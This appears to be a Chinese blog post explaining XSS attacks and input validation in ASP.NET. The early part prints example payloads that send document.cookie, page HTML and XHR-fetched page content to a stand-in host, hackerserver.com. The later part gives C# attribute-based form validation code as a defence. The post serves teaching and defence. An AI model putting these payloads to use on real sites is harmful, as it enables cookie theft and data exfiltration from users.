| 概述 XSS攻击是Web攻击中最常见的攻击方法之一，它是通过对网页注入可执行代码且成功地被浏览器执行，达到攻击的目的，形成了一次有效XSS攻击，一旦攻击成功，它可以获取用户的联系人列表，然后向联系人发送虚假诈骗信息，可以删除用户的日志等等，有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼，它带来的危害是巨大的，是web安全的头号大敌。 攻击的条件 实施XSS攻击需要具备两个条件： 一、需要向web页面注入恶意代码； 二、这些恶意代码能够被浏览器成功的执行。 看一下下面这个例子：
<div id="el" style="background:url('javascript：eval(document.getElementById("el").getAttribute("code")) ')"
code="var a = document.createElement('a');
a.innerHTML= '执行了恶意代码';document.body.appendChild(a);
//这这里执行代码
"></div>
这段代码在旧版的IE8和IE8以下的版本都是可以被执行的，火狐也能执行代码，但火狐对其禁止访问DOM对象，所以在火狐下执行将会看到控制里抛出异常：document is not defined （document是没有定义的） <div> http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
<!--读取当前页面的内容提交到黑客服务器上进行分析-->
var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>"
var e = document.createElement("div");
document.documentElement.appendChild(e);
e.style.display = "none";
e.innerHTML = h;
var frm = document.forms["f"];
frm.data.value = document.documentElement.innerHTML;
frm.submit();
<!--读取当前页面的内容提交到黑客服务器上进行分析-->
var xhr = new XMLHttpRequest();
xhr.open("POST or GET","/目标网站其他页面的URL（如获取邮箱列表的地址）");
xhr.onreadystatechange = function (e) {
if (xhr.readyState == 4) {
var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>"
var e = document.createElement("div");
document.documentElement.appendChild(e);
e.style.display = "none";
e.innerHTML = h;
var frm = document.forms["f"];
frm.data.value = xhr.responseText;
frm.submit();
}
}
xhr.send(null);
using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Web; namespace MvcApplication1.Models
{ public class Item
{
[Key]
[Display(Name="项目ID")] public int ID { get; set; }
[EmailAddress(ErrorMessage="电子邮箱错误")]
[Required]
[DisplayName("电子邮箱")] public string Email { get; set; }
}
}
[Serializable]
[AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)] public class FormValidationAttribute : Attribute, IProperty
{ /////// <summary> /////// 错误信息 /////// </summary> ////public string ErrorMessage { get; set; } /// <summary> /// 必需的 /// </summary> public bool Required { get; set; } /// <summary> /// 电子邮件格式 /// </summary> public bool IsEmailFormat { get; set; } /// <summary> /// 电话号码 /// </summary> public bool IsTelephoneNumber { get; set; } /// <summary> /// 是中文名或者英文名称,中文少于2个字符，英文不少于3个字符 /// </summary> public bool IsChineseNameOrEnglishName { get; set; } /// <summary> /// 正则表达式 /// </summary> public string RegularExpression { get; set; } public RegexOptions RegexOptions { get; set; } /// <summary> /// 最大的长度 /// </summary> public int MaxLength { get; set; } public PropertyInfo Property
{get;set;}
}
应用到属性上
public class Item
{
[FormValidation(MaxLength=200)] public string Name{ get; set; }
[FormValidation(IsTelephoneNumber = true)] public string Mobile{ get; set; }
[FormValidation(IsEmailFormat= true,Required=true)] public string Email { get; set; }
}
写个扩展方法通过反射类型进行验证对象的属性是否有效：
public class FormValidationException : Exception {
public FormValidationException(PropertyInfo field)
: this(field, null)
{
}
public FormValidationException(PropertyInfo field, string message)
: base(message)
{
Property = field;
Field = field.Name;
}
public string Field { get; private set; }
public PropertyInfo Property { get; private set; }
public override string Message
{
get
{
string msg = base.Message;
if (!string.IsNullOrWhiteSpace(Field))
{
if (string.IsNullOrWhiteSpace(msg)) { msg = Field; }
else { msg = string.Format("{0}({1})", msg, Field); }
}
return msg;
}
}
}
/// <summary> /// 不是必需的
/// </summary> public class NotRequiredException : FormValidationException
{
public NotRequiredException(PropertyInfo field)
: base(field)
{}
public NotRequiredException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary> /// 无效的电子邮件格式
/// </summary> public class InvalidEmailFormatException : FormValidationException
{
public InvalidEmailFormatException(PropertyInfo field)
: base(field)
{}
public InvalidEmailFormatException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary> /// 无效的电话号码
/// </summary> public class InvalidTelephoneNumberFormatException : FormValidationException
{
public InvalidTelephoneNumberFormatException(PropertyInfo field)
: base(field)
{}
public InvalidTelephoneNumberFormatException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary> /// 不是中文名或者英文名
/// </summary> public class NotChineseNameOrEnglishNameException : FormValidationException
{
public NotChineseNameOrEnglishNameException(PropertyInfo field)
: base(field)
{}
public NotChineseNameOrEnglishNameException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary> /// 不符合正则表达式
/// </summary> public class InconformityRegularExpressionException : FormValidationException
{
public InconformityRegularExpressionException(PropertyInfo field)
: base(field)
{}
public InconformityRegularExpressionException(PropertyInfo field, string message)
: base(field, message)
{}
}
public class ValueLengthIsLengthyException : FormValidationException
{
public ValueLengthIsLengthyException(PropertyInfo field)
: base(field)
{ }
public ValueLengthIsLengthyException(PropertyInfo field, string message)
: base(field, message)
{ }
}
public static class FormValidationExtendMethods
{
static void Validation(PropertyInfo p, string value)
{
var fv = p.GetAttribute<FormValidationAttribute>();
#region 验证
if (fv != null)
{
if (fv.Required && string.IsNullOrWhiteSpace(value))
{ throw new NotRequiredException(p); }
if (!string.IsNullOrWhiteSpace(value))
{
if (!string.IsNullOrWhiteSpace(fv.RegularExpression)
&& !Regex.IsMatch(value, fv.RegularExpression, fv.RegexOptions))
{
throw new InconformityRegularExpressionException(p);
}
if (fv.IsEmailFormat && !value.IsValidEmail())
{
throw new InvalidEmailFormatException(p);
}
if (fv.IsTelephoneNumber && !value.IsTelephoneNumber())
{ throw new InvalidTelephoneNumberFormatException(p); }
if (fv.IsChineseNameOrEnglishName && !value.IsChineseNameOrEnglishName())
{
throw new NotChineseNameOrEnglishNameException(p);
}
if (fv.MaxLength > 0 && value.Length > fv.MaxLength)
{
throw new ValueLengthIsLengthyException(p);
}
}
}
#endregion
}
public static bool Validation(this object o,bool isThrow=true) {
bool err=false;
Type t = o.GetType();
var ps = t.GetProperties();
try
{
foreach (var p in ps)
{
object v = null;
try
{
v = p.GetValue(o, null);
}
catch { }
Validation(p, v != null ? v.ToString() : string.Empty);
}
}
catch
{
if (isThrow) throw;
err = true;
}
return !err;
}
public static T GetInstance<T>(this NameValueCollection collection, bool verify = true) where T : class,new()
{
return collection.GetInstance<T>(new T(), verify);
}
public static T GetInstance<T>(this NameValueCollection collection, T instance, bool verify=true) where T : class
{
var ps = instance.GetType().GetProperties();
var keys = collection.AllKeys;
foreach (var p in ps)
{
bool has = false;
string k = p.Name;
foreach (var o in keys)
{
if (string.Equals(o, k, StringComparison.InvariantCultureIgnoreCase))
{ k = o; has = true; break; }
}
var value = has ? (collection[k] ?? "").Trim() : string.Empty;
if (verify)
{
Validation(p, value);
}
///如果没有指定值，就保持默认值。
if (!has) continue;
#region 赋值
try
{
if (p.PropertyType.IsEnum)
{
p.SetValue(instance, Enum.Parse(p.PropertyType, value), null);
}
else
{
p.SetValue(instance, p.PropertyType.Equals(typeof(string)) ? value : Convert.ChangeType(value, p.PropertyType), null);
}
}
catch { }
#endregion
}
return instance;
}
public static T GetInstance<T>(this HttpRequest request, bool verify = true) where T : class,new()
{
return request.GetInstance<T>(new T(), verify);
}
public static T GetInstance<T>(this HttpRequest request, T instance, bool verify = true) where T : class
{
return request.Form.GetInstance<T>(instance,verify);
}
}
<div>
<img src="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>" />
</div>
|
-
上一篇： WordPress Spider Facebook 插件 'facebook.php
下一篇： wordpress后台登陆安全插件Protected wp-login更换后台
还没有人抢沙发呢~